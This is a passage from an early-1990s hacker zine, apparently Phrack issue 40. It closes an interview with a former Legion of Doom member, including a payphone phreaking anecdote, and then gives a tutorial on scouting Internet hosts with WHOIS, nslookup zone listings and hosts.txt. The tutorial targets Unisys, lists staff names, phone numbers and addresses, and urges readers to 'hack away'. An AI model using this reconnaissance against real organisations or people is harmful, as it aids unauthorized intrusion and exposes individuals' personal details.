I predict within 5‑10 years maximum that states will start using video cameras to digitize your picture when you go for a new driver's license. The digitized image will be stored with the rest of your personal information and probably be available to people like private investigators and others who gain access to the information illegally. With ISDN, Multi‑Media, etc., it will be possible to "set up" people very easily by altering images via computers, etc. to make them look like they are doing just about anything you can think of. When things like that start to happen I will not look crazy but smart, at least to my friends who think my avoidance of cameras is abnormal.

Most Memorable Experience

~~~~~~~~~~~~~~~~~~~~~~~~~

TK: What are your most memorable experiences (funny things that happened to you during your phreaking/hacking or not so funny)?

LL: Dr. Who in Massachusetts had a conference in which me, Tuc, and The Videosmith drove up at 4 AM in Tuc's VW Beetle hydroplaning all the way due to the rain, and dead tired. We were all in a silly mood and had a lot of laughs.

Also, the time when I was in NYC with Paul Muad'Dib and we had no money to eat. He was the first person I know of who had any real knowledge of phone company switching systems. He engineered a switch in Manhattan to put call forwarding on a pay phone. Once this was done, all the money put into the phone would remain in the phone but would not drop into the coin box. Those who put money in didn't really have to since the phone was converted to a POTS (Plain Old Telephone Service). Alas, humans are creatures of habit. So after a couple of hours (since it was a busy phone) he had the guy put the phone back to the way it was. When this was done, all the money held in the phone was returned. It was like hitting the jackpot in Las Vegas. We then proceeded to McDonald's.

The story about me running around naked in a Motel 6 parking lot that Control‑C has tried to get people to believe is, of course, grossly exaggerated. His girlfriend hooked me up with a friend of her's. Dan and his girl were in another room. He called me to come over, but I was in my underwear. We had been drinking so I ran the 8 feet or so to his room (we were on the 2nd floor with a solid balcony so no one from the ground could see anyway), I said hello and then ran back to my room to go another round.

Probably my favorite memory is relatively recent. J.J. Bloombecker, Director of the National Center for Computer Crime Data, spoke at my school. I sat in the very back as usual (I hate to have anyone sitting behind me, anywhere) in a room of about 40 people and listened to his speech which basically was to promote his book, "Spectacular Computer Crimes." I spoke to him but never let on who I really was. He talked about Craig's (Knight Lightning) case and then he went on about whomever named LOD, the Legion of Doom, should have named them something like the "Legion of Ineffectual Pansies." The reason being that, what prosecutor in his/her right mind would go to a judge and say how dangerous a group of ineffectual pansies are.

I sat there trying not to blush and thinking that of all the hundreds of people he said that to, he probably never expected to say it to the person who really named the group.

I did meet Donn B. Parker, whom I consider the father of computer security, twice. The first time I just shook his hand. The second time was relatively recently and we spoke for 20 minutes or so. I never told him who I really was, not that he would know anyway. But I complimented him enough so even if he found out, he couldn't have gotten too mad at me.

TK: What were some of your memorable accomplishments (newsletters/files/etc.)?

LL: The REAL accomplishments (non‑files) will remain anonymous, but my favorite files were the IBM VM/CMS series because they were well written along with the Attacking, Defeating, and Bypassing Physical Security Devices series. Before I wrote a file I scoured boards and other traditional sources for the information I sought. If I came up empty handed, I researched it and wrote about it myself.

Although the COSMOS files helped me get started, they were a complete joke. They provided enough information to be dangerous and didn't help my standing with the RBOC's. The VAX/VMS files got better as they progressed, but except for some of Part III they didn't provide much that wasn't available in manuals. I enjoy writing, but it usually takes me many revisions to get it just right. As for newsletters, the LOD/H Technical Journal is another thing that I was involved in.

TK: What is the story behind the LOD/H Technical Journal?

LL: The LOD/H Technical Journal almost never was. As you are aware, LOD had gotten a group of files together to be published in PHRACK as an "all LOD issue," but some of the members thought we should put out our own stuff. The idea grew on me and I said okay. I should let it be known that you helped us out for the first issue by spell checking it and performing some editing and critique. But we were only able to produce 4 issues since it was difficult in getting quality non‑plagiarized or non‑highly paraphrased material.

After the third issue, I realized that I was probably not doing anyone any favors by exposing security holes and weaknesses in systems. Some people may not believe hearing this from ME, but I don't agree with those hackers who think they are doing people a service by exposing their system vulnerabilities. Nobody needs someone checking their door at night to see if its locked. And although the old door analogy isn't exactly the same as the pseudo‑physical computer login, its close enough. Sorry about getting off the subject a little.

TK: That's okay. Why did you quit the H/P community?

LL: I wrote a letter to 2600 Magazine about a year ago that goes into it a little. Between that and what I've said here, it should be fairly apparent. In brief, I realized I was mainly in it for the purpose of getting information. It got too dangerous and I decided to direct my energy to graduating instead of how to defeat security systems. The thought processes involved in hacking and those in solving problems in Engineering Design are remarkably similar and I think my hacking experience makes me a much better designer and problem solver. Not that I am advertising for a job or anything...

Lex's Favorite Things

~~~~~~~~~~~~~~~~~~~~~

Women: Without Diseases.

Cars: So fast that you are terrified to put the pedal all the way down to the floor.

Foods: Anything that does not contain pesticides, herbicides, heavy metals, radioactive elements, toxic chemicals, harmful microorganisms, artificial colors, or preservatives. I guess that rules out fish, produce, meat, processed foods, drinking water, and so on. In other words there's nothing left to eat. In all seriousness, I do like great big salads and if I was rich I would have an awesome wine cellar.

Music: Heavy Metal, some Punk, and Classical.

Authors: Richard P, Feynman, Isaac Asimov, Stephen Hawking, Jane Roberts, Budd Hopkins, Jacques Valee, Bruce Sterling, K. Eric Drexler, and Matthew Lesko.

Books: I liked the Cuckoo's Egg, anything about physics, and non‑kook metaphysical books. The only thing I collect these days are books. I have hundreds of them.

Games: Atari's ASTERIODS DELUXE was probably the most difficult videogame ever (even though it's more than ten years old) and which I am one of the best there is at playing it. When it comes to this, I admit I AM Elite. There's almost no one on this planet who can beat me. Defender and Stargate are also great. They don't make games like they used to. And of course, the Ultima series. Actors: Dana Carvey, Bill Moyers, Patrick Stewart (ST:TNG), Jonathan Frakes (ST:TNG), Andy Griffith (Matlock), and too many movie stars to mention.

The Interview Concludes

~~~~~~~~~~~~~~~~~~~~~~~

TK: Is there anyone specifically that you want to say a few things to?

LL: To all those who subscribe to the "Once a thief, always a thief" mentality and to those few die‑hard law people who would love to get their hands on me and other ex‑hackers: Don't bother, people are basically good and can be "rehabilitated" without going to prison.

LL: The other thing that I have never understood about the hack/phreak community is some of the obsession with tracking people down. I could understand it a little better when the reason was to check out others to make sure they were not feds.

I never compiled lists of who I talked to with anything except their handle, first name, and phone number. I never CNA'd them for their last names, or tried to find out where they worked.

But some guys just had to know everything about everyone. Don't they have anything better to do? I was careful yes, but not to the point of invading everyone's privacy especially when the person stated they just wanted to be left alone. I am not saying I NEVER invaded another's privacy, but I don't now and almost never did it in the past.

I left an Internet mailing address at the beginning of this Pro‑Phile so people can contact me. I don't mind talking to people, but I just don't think it's fair to harass and threaten people who don't want to be bothered. I am open to useful and constructive conversations via email, but I really don't think it's necessary to compile individual's personal information. I never did it and will never understand why people do it.

Besides, it's no great accomplishment to find people these days. The ways of getting information are numerous and many are legal, so how much skill does it really take to get someone's info? Almost none. Anyone can do it... on just about anyone they want.

TK: What do you think about the future of the hack/phreak world or telecom communications in general?

LL: As for the hack/phreak aspect, every time I think hacking is dead and people would have to be deranged to break into computers or make phone calls illegally for free, I read about another hapless person or group of people who have done it. Don't they realize there are better and easier ways of going about whatever they are doing? Don't they realize that the technology to CATCH you is such that you have lost the fight before you even get started?

Yes there will be new technologies that will help both sides, but there is the law of diminishing returns. As for what hackers should be doing, if anything they should keep an eye on our right to privacy. If it weren't for hackers, TRW would still be screwing people over (worse than they do now) and would have never apologized for not correcting invalid credit information.

TK: And of course the question that no Phrack Pro‑Phile does without...

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks?

LL: Absolutely NOT. I don't judge people on how they look anymore (yes I used to). As The Mentor so eloquently put it in his Hacker Manifesto (Phrack 7 and again in Phrack 14), of which this is, but a lame paraphrase, it's more important to relate to people on what they know and on their ideas than what they look like or what color their skin is, etc. And the vast majority have non‑geeky ideas.

TK: Thanks for your time, Lex.

Network Miscellany

==Phrack Inc.==

Volume Four, Issue Forty, File 4 of 14

Network Miscellany

****************************

< How to Acquire Information on Internet Computers >

****************************

Compiled from Internet Sources

by The Racketeer

of The Hellfire Club

Network Miscellany created by Taran King

Generally speaking, information is everything. A lot of hacking any computer on a network is being able to gather information about the machine and its vulnerabilities. This file is about using the available resources on the Internet network in order to gain important information about any perspective sites.

A large amount of information has been printed in Phrack recently about the Internet, most of it copied straight from manuals and in my opinion lacking hacking flair. Therefore, I'm going to take you straight into the heart of the heart of the matter with this file on acquiring information!

Now, the Internet is notorious for not having an instruction manual. Most people who find out what the Internet is learn from their friends. It used to be that there was only one real landmark on the Internet, and that was the SIMTEL‑20 FTP archive. Now, the Internet is probably the largest free network in existence. In fact, it's a hacker's paradise!

Unfortunately, you have to know about "public" sites on the network before you can use them. Likewise, how are you going to hack an organization if you don't know any machines on it? Sort of like trying to complain to Packard‑Bell about your computer equipment not working when the bastards don't supply their name, address, or phone number. You are going to have to find another way to get that information if you want to get anything done.

There is not any one particular way to learn about a site. In fact, you'll have to combine several unusual methods of gathering information in order to obtain anything resembling a "complete picture." However, using the combinations of techniques described in this file, you can maneuver through any network on the Internet and learn about the machines within.

The first stop on this journey is the ARPANet Network Information Center (frequently called "NIC" by experienced network users). NIC's purpose is simply to keep track of all the network connections, fields, domains, and hosts that people wish to be told about.

To connect to NIC, you would issue a command from your Internet connected machine similar to this:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ command

\/

[lycaeum][1]> telnet nic.ddn.mil

This will (within a short period of time) route you to the Network Information Center and grant you access. There isn't a straight forward login/logout system on NIC like other Unix computers; it will just connect you to the Information System upon connection. The message you will get will be similar to this:

* ‑‑ DDN Network Information Center ‑‑

*

* For TAC news, type: TACNEWS <return>

* For user and host information, type: WHOIS <return>

* For NIC information, type: NIC <return>

*

* For user assistance call (800) 235‑3155 or (415) 859‑3695

* Report system problems to ACTION@NIC.DDN.MIL or call (415) 859‑5921

SRI‑NIC, TOPS‑20 Monitor 7(21245)‑4

@ <prompt>

Great, now we are in. Essentially, since NIC is just a great big telephone book, we need to let our fingers to the walking. Let's demonstrate a few simple commands as I go after one of the government contract giants, the corporation known as UNISYS. Let's start by entering WHOIS.

@WHOIS

SRI‑NIC WHOIS 3.5(1090)‑1 on Tue, 22 Aug 91 15:49:35 PDT, load 9.64 Enter a handle, name, mailbox, or other field, optionally preceded by a keyword, like "host sri‑nic". Type "?" for short, 2‑page details, "HELP" for full documentation, or hit RETURN to exit. ‑‑‑> Do ^E to show search progress, ^G to abort a search or output <‑‑Whois:

Okay, now we are in the database. Since Unisys is our target, let's go ahead and ask it about "Unisys."

Whois: unisys

Cartee, Melissa (MC142) unisys@email.ncsc.navy.mil (904) 234‑0451 Ebersberger, Eugen (EE35) UNISYS@HICKAM‑EMH.AF.MIL (808) 836‑2810 Lichtscheidl, Mark J. (MJL28) UNISYS@BUCKNER‑EMH1.ARMY.MIL (DSN) 634‑4390 Naval Warfare Assessment Center (UNISYS) UNISYS.NWAC.SEA06.NAVY.MIL

137.67.0.11

Navratil, Rich (RN74) UNISYS@COMISO‑PIV.AF.MIL (ETS) 628‑2250

There are 28 more matches. Show them? y ‑‑> of course

Peterson, Randy A. (RP168) UNISYS@AVIANO‑SBLC.AF.MIL (ETS) 632‑7721 Przybylski, Joseph F. (JP280) UNISYS@AVIANO‑SBLC.AF.MIL (ETS) 632‑7721 UNISYS Corporation (BIGBURD) BIGBURD.PRC.UNISYS.COM 128.126.10.34 UNISYS Corporation (GVLV2) GVL.UNISYS.COM 128.126.220.102 UNISYS Corporation (MONTGOMERY‑PIV‑1) MONTGOMERY‑PIV‑1.AF.MIL 26.5.0.204 Unisys Corporation (NET‑MRC‑NET)MRC‑NET 192.31.44.0 Unisys Corporation (NET‑SDC‑PRC‑CR) UNISYS‑ISF‑11 192.26.24.0 Unisys Corporation (NET‑SDC‑PRC‑LBS) UNISYS‑ISF‑9 192.26.22.0 UNISYS Corporation (NET‑SDC‑PRC‑NET) UNISYS‑ISF‑7 192.12.195.0 Unisys Corporation (NET‑SDC‑PRC‑SA) UNISYS‑ISF‑10 192.26.23.0 Unisys Corporation (NET‑SDC‑PRC‑SW) UNISYS‑ISF‑8 192.26.21.0 Unisys Corporation (NET‑UNISYS‑CULV) UNISYS‑CULV 192.67.92.0 Unisys Corporation (NET‑UNISYS‑PRC) UNISYS‑PRC 128.126.0.0 Unisys Corporation (NET‑UNISYS‑RES1) UNISYS‑RES1 192.39.11.0 Unisys Corporation (NET‑UNISYS‑RES2) UNISYS‑RES2 192.39.12.0 Unisys Corporation (NET‑UNISYS2)UNISYS‑B2 129.221.0.0 Unisys Corporation (STARS) STARS.RESTON.UNISYS.COM 128.126.160.3

Unisys Corporation (UNISYS‑DOM) UNISYS.COM

Unisys Linc Development Centre (NET‑LINC) LINC 143.96.0.0 UNISYS (ATC‑SP) ATC.SP.UNISYS.COM 129.218.100.161 Unisys (FORMAL) FORMAL.CULV.UNISYS.COM 192.67.92.30 UNISYS (KAUAI‑MCL) KAUAI.MCL.UNISYS.COM 128.126.180.2 UNISYS (MCLEAN‑UNISYS) MCLEAN‑UNISYS.ARMY.MIL 26.13.0.17 UNISYS (NET‑UNISYS‑RES3) UNISYS‑RES3 192.67.128.0 Unisys (NET‑UNISYS‑SP) UNISYS‑SP 129.218.0.0 UNISYS (SALTLCY‑UNISYS) SALTLCY‑UNISYS.ARMY.MIL 26.12.0.120 UNISYS (SYS‑3) SYS3.SLC.UNISYS.COM 129.221.15.85 Wood, Roy (RW356) UNISYS@LAKENHEATH‑SBLC.AF.MIL

0044‑0638‑522609 (DSN) 226‑2609

As you can see, the details on these computers get fairly elaborate. The first "column" is the matching information, second column is the network name or title, then it is followed by a phone number or IP port address. If the phone number has an area code, then it is of a standard phone nature; however, if it is (DSN) then it's on the "Data Security Network," aka Autovon (the military phone system).

Now, as you can tell from the above list, there are several UNISYS accounts at military machines ‑‑ including a military machine NAMED after Unisys (mcleanunisys.army.mil). This stands to reason since Unisys deals mostly in military computer equipment. Since it is a secretive military group, you'd figure an outsider shouldn't be able to gain much information about them.

Here is what happens if you center on a specific person:

Whois: cartee

Cartee, Melissa (MC142) unisys@email.ncsc.navy.mil 7500 McElvey Road

Panama City, FL 32408

(904) 234‑0451

MILNET TAC user

Record last updated on 18‑Apr‑91.

Hmm.. Very interesting. This user obviously has access to military computers since she has a TAC card, and goes under the assumed identity as "Unisys" in general. Could this person be a vital link to the Unisys/U.S. Defense connection? Quite possibly. More likely she is a maintenance contact, since she can use her TAC card to contact multiple (confined) military networks.

I've gone ahead and requested specific information about kauai.mcl.unisys.com, which as far as I know is a focal point for the Unisys Networks. Of course, the information on this machine is non‑classified (or if it IS classified, Unisys will probably be chewed out by Uncle Sam). Notice all the great information it gives:

Whois: kauai.mcl.unisys.com

UNISYS (KAUAI‑MCL)

Building 8201, 10th Floor Computer Room

8201 Greensboro Drive

McLean, VA 22102

Hostname: KAUAI.MCL.UNISYS.COM

Nicknames: MCL.UNISYS.COM

Address: 128.126.180.2

System: SUN‑3/180 running SUNOS

Coordinator:

Meidinger, James W. (JWM3) jim@BURDVAX.PRC.UNISYS.COM (215) 648‑2573

domain server

Record last updated on 05‑Aug‑91.

No registered users.

Aha! The Coordinator on this machine doesn't use it! There are no registered users! Namely, if you wanted to hack it, you aren't screwing with the higher ups (this is good). Since when does Unisys buy computers from other companies? Can't they just grab a few off the assembly line or something? The computer is stationed in McLean, Virginia! That's where the CIA is! Could Unisys be developing computers for the international espionage scene? Obviously, there is a great deal of information to be sucked out of this machine.

How? The answer was listed there. The machine is a DOMAIN SERVER. That means this computer holds the network information used to identify all the computer systems on its network and all we need to do right now is figure out a way to squeeze that information out! But first, let's see if our hunch was correct in assuming the bigwigs are far away by checking out the head honcho, "Mr. Meidinger."

Whois: jim@burdvax.prc.unisys.com

Meidinger, James W. (JWM3) jim@BURDVAX.PRC.UNISYS.COM Unisys Corporation

Computer Resources

Room g311

P.O. Box 517

Paoli, PA 19301‑0517

(215) 648‑2573

Record Last Updated on 04‑Jul‑90.

Yup, Mr. Meidinger is far away ‑‑ Pennsylvania, to be exact. Not exactly keyboard's length away, is he? Besides, being in the "Computer Resources" department, I'd suspect he is just an accountant. Accountants are to computing as beavers are to trees (unless, of course, they actually like computers, which isn't a foregone conclusion in the business world).

I'm going to skip the rest of the information on NIC, since it has been overkilled in this particular magazine anyway. The only hint I have is to read CERT's and DDN's news blurbs, since they give out some interesting information which would be useful and educational. Besides, messing around with the CIA's hired goons sounds much more fun.

Now is the time for a little bit of a lesson in critical reasoning: the Internet isn't exactly a "free to the public" network, meaning you just can't attach your computer to a machine on the Internet and expect it to work all of a sudden. You need to configure your machine around the computers in the network domain you are linking into, and if you have their permission, then everything is cool. But once you're configured, and your router and/or server has been notified of your existence, does that mean anyone else has that information? The answer is yes, although that info won't be forwarded to a place like NIC ‑‑ it will have to be obtained another way.

All packets of data on the Internet need to be routed to and from valid computer hosts. Therefore, all of this information is stored on the network's gateway. But the routing information stored is simply in numeric format, such as 128.126.160.3. At least, that is as understandable as it gets, since Ethernet addresses are even more elaborate and in binary.

However, as Internet users know, there is more than a single way of describing a computer. "telnet 128.126.160.3" would be one way of connecting to a computer, or "telnet aviary.stars.reston.unisys.com" would be another way of connecting to the same computer. These names are chosen by the owner of the network, and are described through the use of "domain servers."

As you recall, kauai.mcl.unisys.com was listed by NIC as a domain server. This means that the names of the computer systems on that network are stored on that particular host. Of course, that's not the only thing. The domain server presents the computer name and IP number to the connecting machine allowing you to connect to the computer by using a "domain style name." Ultimately, everything is converted to IP numbers.

Most network software allows compatibility with domain servers, meaning if you want to connect to nic.ddn.mil, and you specify a command "telnet nic.ddn.mil" then you will connect to nic.ddn.mil. Sadly, this isn't true of all computers (which require IP numbers only), but at least it is true enough that the general user is likely to have such computer resources.

Reaching back to the Dark Ages, there is a computer program that allows machines that don't directly interpret domain style addresses to IP addresses to still find out what the name of a machine is. This program is called "nslookup" and is usually found in the Unix operating system (at least, I haven't used it anywhere else ‑‑ it might only work on Unix).

"nslookup" stands for Name Server Lookup (there has been some debate, it seems, if a domain server is really a name server, or visa versa; in fact, both describe what they do well enough to have conflict). Regardless, let's go ahead and work on learning how to use nslookup.

[lycaeum][2]> nslookup

Default Name Server: lycaeum.hfc.com

Address: 66.6.66.6

Now, going back to that NIC information we got earlier, let's continue to hack on poor old Unisys, which is giving up its info every step we make. We determined that the kauai.mcl.unisys.com was a domain server, so let's jump ahead to that by changing our server to their server (after all, the computers we are after aren't on our machine).

> server kauai.mcl.unisys.com

Default Server: kauai.mcl.unisys.com

Address: 128.126.180.2

Okay, now we have connected to the server. This isn't a constant connection, by the way. It will only establish a connection for the brief instant that it takes for it to execute commands. It doesn't require a password or an account to get this information off of a nameserver.

Let's start off by having it give us a list of everything about Unisys that this server knows. "Everything" is pretty much a good place to start, since we can't go wrong. If we come up with nothing, then that's what's available. The basic command to list machines is "ls" like the Unix directory command.

> ls unisys.com

[kauai.mcl.unisys.com]

Host of domain name Internet address

unisys.com server = burdvax.prc.unisys.com 3600 burdvax.prc.unisys.com 128.126.10.33 3600 unisys.com server = kronos.nisd.cam.unisys.com 3600 kronos.nisd.cam.unisys.com 128.170.2.8 3600 unisys.com server = kauai.mcl.unisys.com 3600 kauai.mcl.unisys.com 128.126.180.2 43200 unisys.com server = io.isf.unisys.com 3600 io.isf.unisys.com 128.126.195.20 3600 reston.unisys.com server = aviary.stars.reston.unisys.com 3600 aviary.star.reston.unisys.com 128.126.160.3 3600 aviary.star.reston.unisys.com 128.126.162.1 3600 reston.unisys.com server = kauai.mcl.unisys.com 3600 kauai.mcl.unisys.com 128.126.180.2 43200 rosslyn.unisys.com server = aviary.stars.reston.unisys.com 3600 aviary.stars.reston.unisys.com 128.126.160.3 3600 aviary.stars.reston.unisys.com 128.126.162.1 3600 rosslyn.unisys.com server = kauai.mcl.unisys.com 3600 kauai.mcl.unisys.com 128.126.180.2 43200 rmtc.unisys.com server = rmtcf1.rmtc.unisys.com 3600 rmtcf1.rmtc.unisys.com 192.60.8.3 3600 rmtc.unisys.com server = gvlv2.gvl.unisys.com 3600 gvlv2.gvl.unisys.com 128.126.220.102 3600 sp.unisys.com server = dsslan.sp.unisys.com 3600 dsslan.sp.unisys.com 129.218.32.11 3600 sp.unisys.com server = sys3.slc.unisys.com 3600 sys3.slc.unisys.com 129.221.15.85 3600 cam.unisys.com server = kronos.nisd.cam.unisys.com 3600 kronos.nisd.cam.unisys.com 128.170.2.8 3600 cam.unisys.com server = burdvax.prc.unisys.com 3600 burdvax.prc.unisys.com 128.126.10.33 3600 prc.unisys.com server = burdvax.prc.unisys.com 3600 burdvax.prc.unisys.com 128.126.10.33 3600 prc.unisys.com server = kronos.prc.unisys.com 3600 kronos.prc.unisys.com 128.170.2.8 3600 prc.unisys.com server = walt.prc.unisys.com 3600 walt.prc.unisys.com 128.126.2.10 3600 walt.prc.unisys.com 128.126.10.44 3600 culv.unisys.com server = formal.culv.unisys.com 3600 formal.culv.unisys.com 192.67.92.30 3600 culv.unisys.com server = kronos.nisd.cam.unisys.com 3600 kronos.nisd.cam.unisys.com 128.170.2.8 3600 slc.unisys.com server = sys3.slc.unisys.com 3600 sys3.slc.unisys.com 129.221.15.85 3600 slc.unisys.com server = dsslan.sp.unisys.com 3600 dsslan.sp.unisys.com 129.218.32.11 3600 slc.unisys.com server = nemesis.slc.unisys.com 3600 nemesis.slc.unisys.com 128.221.8.2 3600 bb.unisys.com server = sunnc.wwt.bb.unisys.com 3600 sunnc.wwt.bbs.unisys.com 192.39.41.2 3600 bb.unisys.com server = burdvax.prc.unisys.com 3600 burdvax.prc.unisys.com 128.126.10.33 3600 isf.unisys.com server = orion.ISF.unisys.com 3600 orion.ISF.unisys.com 128.126.195.7 3600 isf.unisys.com 128.126.195.1 3600 isf.unisys.com server = burdvax.prc.unisys.com 3600 burdvax.prc.unisys.com 128.126.10.33 3600 isf.unisys.com server = io.isf.unisys.com 3600 io.isf.unisys.com 128.126.195.20 3600 gvl.unisys.com 128.126.220.102 172800 gvl.unisys.com server = gvlv2.gvl.unisys.com 3600 gvlv2.gvl.unisys.com 128.126.220.102 3600 gvl.unisys.com server = burdvax.prc.unisys.com 3600 burdvax.prc.unisys.com 128.126.10.33 3600 mcl.unisys.com 128.126.180.2 43200 mcl.unisys.com server = kauai.mcl.unisys.com 43200 kauai.mcl.unisys.com 128.126.180.2 43200 mcl.unisys.com server = burdvax.prc.unisys.com 43200 burdvax.prc.unisys.com 128.126.10.33 3600 mcl.unisys.com server = kronos.nisd.cam.unisys.com 43200 kronos.nisd.cam.unisys.com (dlen = 1152?) 4096 ListHosts: error receiving zone transfer:

result: NOERROR, answers = 256, authority = 0, additional = 3.

Bummer, an error. Funny, it claims there isn't an error, yet it screwed up the kronos address and knocked me out. Apparently, this domain server is screwed. Oh well, I guess that's really their problem because in the information it gave us, it was able to provide all the answers we needed to figure out the next step!

Quick analysis of the above information shows that most of the servers were connected to at LEAST two other servers. Quite impressive: A fault‑tolerant TCP/IP network. Since it is fault tolerant, we can go ahead and use a different machine to poke into the "mcl.unisys.com" domain. Since "mcl" stands for McLean, that's where we want to go.

Remember that NIC told us that kauai.mcl.unisys.com had an alias? It was also called "mcl.unisys.com". Looking at the above list, we see toward the bottom that mcl.unisys.com is also domain served by the computers burdvax.prc.unisys.com and kronos.nisd.cam.unisys.com. Let's connect to one of them and see what we can gather!

Whenever a server starts acting screwy like kauai was doing, I make it a habit of using IP numbers when they are available. I'm going to connect to burdvax.prc.unisys.com through its IP address of 128.126.10.33.

> server 128.126.10.33

Default server: [128.126.10.33]

Address: 128.126.10.33

Now that we are connected, let's see the network information again, but this time let's try something different and possibly more useful. This time we will use the ‑h command, which happens to describe the computer type (CPU) and the operating system it runs on (OS) which will give us a better idea of what we are dealing with.

> ls ‑h mcl.unisys.com

Host or domain name CPU OS

maui.mcl.Unisys.COM SUN‑2/120 UNIX 43200 cisco.mcl.Unisys.COM CISCO GATEWAY CISCO 43200 kauai.mcl.Unisys.COM SUN‑3/180 UNIX 43200 voyager.mcl.Unisys.COM SUN‑4/330 UNIX 43200 dial.mcl.Unisys.COM SUN‑3/260 UNIX 43200 astro.mcl.Unisys.COM SUN‑3/60 UNIX 43200 hotrod.mcl.Unisys.COM Unisys 386 SCO/UNIX 43200 oahu.mcl.Unisys.COM VAX‑11/785 UNIX 43200 lanai.mcl.Unisys.COM SUN‑3/160 UNIX 43200 mclean_is.mcl.Unisys.COM 386 NOVELL 43200

WOW! Look at all those Suns! I guess Unisys has no faith in their own computers or something! If only President Bush could see this display of a company backing their product! In fact, the only Unisys computer in this whole lot is a cheesy 386 clone which probably is some guy's desktop machine.

Once again, there is some fascinating information here. Let's run through it really quick:

Maui is a Sun 2, which is a really old RISC computer. You don't see many of these around but they still can be useful for storing stuff on. But then again, it probably is faster than a PC!

Oahu is a Vax‑11 which is apparently running Ultrix. This may be where Unisys hoards all their programmers since it isn't being used for serious networking (at least, as far as we can tell).

Mclean_is happens to be the file server for a PC network. We can't really tell from this point how many computers are on this network, but it could be possible it is used for public information trade, where secretaries or receptionists use it to confirm trade and scheduling.

Hotrod is also a 386, made by Unisys even! Oddly, it is running a copy of SCO Unix, which means it is, no doubt, a personal computer someone uses for Unix programming. If Unisys were itself a part of the government, I'd think this computer would have been a kludged bidding contract which they got stuck with because they were aiming for lowest bid and were unfortunately not very picky.

Voyager is an interesting machine, which is apparently the most modern on this network. Since it is a Sun‑4 computer (probably IPX) it would be a high‑speed graphics workstation. This could be the machine where many CAD applications are stored and worked on. Another possibility is that Sun 4 computers were extremely expensive when they purchased this network of Suns, and they purchased this one machine to be the file server to the other Sun 3s and the Sun 2. If you were to gain access to one of the other machines, it's possible you would have access to all of them.

Cisco is just a standard Cisco Router/Gateway box, linking that particular network to the Internet.

Kauai is a messed up domain server, big deal. It might work on the same network as Astro and Lanai.

Dial is a Sun‑3. Is there something in a name? This could be the telecommunications dial‑in for the network. Maybe the same computer system has a dialout attached to it. It might even be possible that "dial" has a guest account for people logging in so that they can easily connect to other computers on the same network (probably not).

Astro and Lanai are also Sun 3 computers. It isn't quite obvious what their purpose is. Essentially, we have the impression that they were all purchased about the same time (explaining the large number of Sun‑3 computers in this network) and it is quite possible they are just linked up to the Sun 4 in a file sharing network. It is also possible they are older and fundamental to the operation of Unisys's communication platform at this particular site.

There is one flaw that makes using the ‑h switch somewhat unreliable: Sometimes people realize you can do this and take the time to remove or never include the information about the individual machines on the network. Therefore, it is always best for you to do a "ls <domain>" and check everything out in case a computer has been removed. Using "telnet" to connect to the computer is usually a foolproof method of finding out what computer it is they are talking about.

> ls mcl.unisys.com

[[128.126.10.33]]

Host or domain name Internet address

mcl.Unisys.COM server = kauai.mcl.unisys.com 3600 kauai.mcl.unisys.com 128.126.180.2 3600 mcl.Unisys.COM server = burdvax.prc.unisys.com 3600 burdvax.prc.unisys.com 128.126.10.33 3600 mcl.Unisys.COM server = kronos.nisd.cam.unisys.com 3600 kronos.nisd.cam.unisys.com 128.170.2.8 3600 mcl.Unisys.COM 128.126.180.2 43200 maui.mcl.Unisys.COM 128.126.180.3 43200 cisco.mcl.Unisys.COM 128.126.180.10 43200 kauai.mcl.Unisys.COM 128.126.180.2 3600 voyager.mcl.Unisys.COM 128.126.180.37 43200 dial.mcl.Unisys.COM 128.126.180.36 43200 LOCALHOST.mcl.Unisys.COM 127.0.0.1 43200 astro.mcl.Unisys.COM 128.126.180.7 43200 hotrod.mcl.Unisys.COM 128.126.180.125 43200 oahu.mcl.Unisys.COM 128.126.180.1 43200 lanai.mcl.Unisys.COM 128.126.180.6 43200 mclean_is.mcl.Unisys.COM 128.126.180.9 43200

Well, running down the list, it appears that there aren't any more computers important to this domain that we don't know already. LOCALHOST is just another way of saying connect to where you are, so that isn't a big deal. Hotrod being separate from the rest of the machines seems apparent since its IP address is x.x.x.125, which is quite separate from the others. Even though this doesn't have to be, it seems it is a wiring kludge ‑‑ probably for an office like I surmised.

The next step? Go ahead and hack away! This is where all those system hacks people trade on the net and all those CERT Advisories become useful. If you become good hacking a single machine (Suns, for example), using nslookup will help you identify those machines and make it easier for you to hack.

Looking for annex computers, libraries, guest machines, and other such computers also becomes easy when you use nslookup, because the names and computer types are there for your convenience. Checking on sites by selecting interesting "special purpose" machines with nslookup first can yield good results. People have called this "netrunning," and it sounds like as good a name as any.

Of course, the other big problem when dealing with domain servers is trying to identify them. The largest list of domain servers can be found off of the Department of Defense Network Listing (usually called hosts.txt) which is available almost everywhere on the Internet through anonymous FTP. Here is a rundown on how to get the file:

[lycaeum][3]> ftp wuarchive.wustl.edu

220 wuarchive.wustl.edu FTP server (Version 6.24 Fri May 8 07:26:32 CDT 1992) ready.

Remote host connected.

Username (wuarchive.wustl.edu:rack): anonymous

331 Guest login ok, send your complete e‑mail address as password. Password (wuarchive.wustl.edu:anonymous):

230‑ This is an experimental FTP server. If your FTP client crashes or 230‑ hangs shortly after login please try using a dash (‑) as the first 230‑ character of your password. This will turn off the informational 230‑ messages that may be confusing your FTP client.

230‑

230‑ This system may be used 24 hours a day, 7 days a week. The local 230‑ time is Wed Jun 3 20:43:23 1992.

230‑

230‑Please read the file README

230‑ it was last modified on Mon Mar 2 08:29:25 1992 ‑ 93 days ago 230‑Please read the file README.NFS

230‑ it was last modified on Thu Feb 20 13:15:32 1992 ‑ 104 days ago 230 Guest login ok, access restrictions apply.

ftp> get /network_info/hosts.txt

200 PORT command successful.

150 Opening ASCII mode data connection for /network_info/hosts.txt (1088429 bytes). 226 Transfer complete.

Transferred 1109255 bytes in 182.95 seconds (6063.29 bytes/sec, 5.92 KB/s).

ftp> quit

221 Goodbye.

Now let's convert it to a file we can use effectively: let's take out of that huge list of only the machines that are domain servers:

[lycaeum][4]> grep ‑i domain hosts.txt > domains

Okay, now that we have done that, let's prove that this is a way of finding a domain server without connecting to anyplace. Let's just use the grep command to search the file for a server in the mcl.unisys.com domain:

[lycaeum][5]> grep ‑i mcl.unisys.com domains

HOST : 128.126.180.2 : KAUAI.MCL.UNISYS.COM,MCL.UNISYS.COM : SUN‑3/180 : SUNOS : TCP/TELNET,TCP/FTP,TCP/SMTP,UDP/DOMAIN :

[lycaeum][6]>

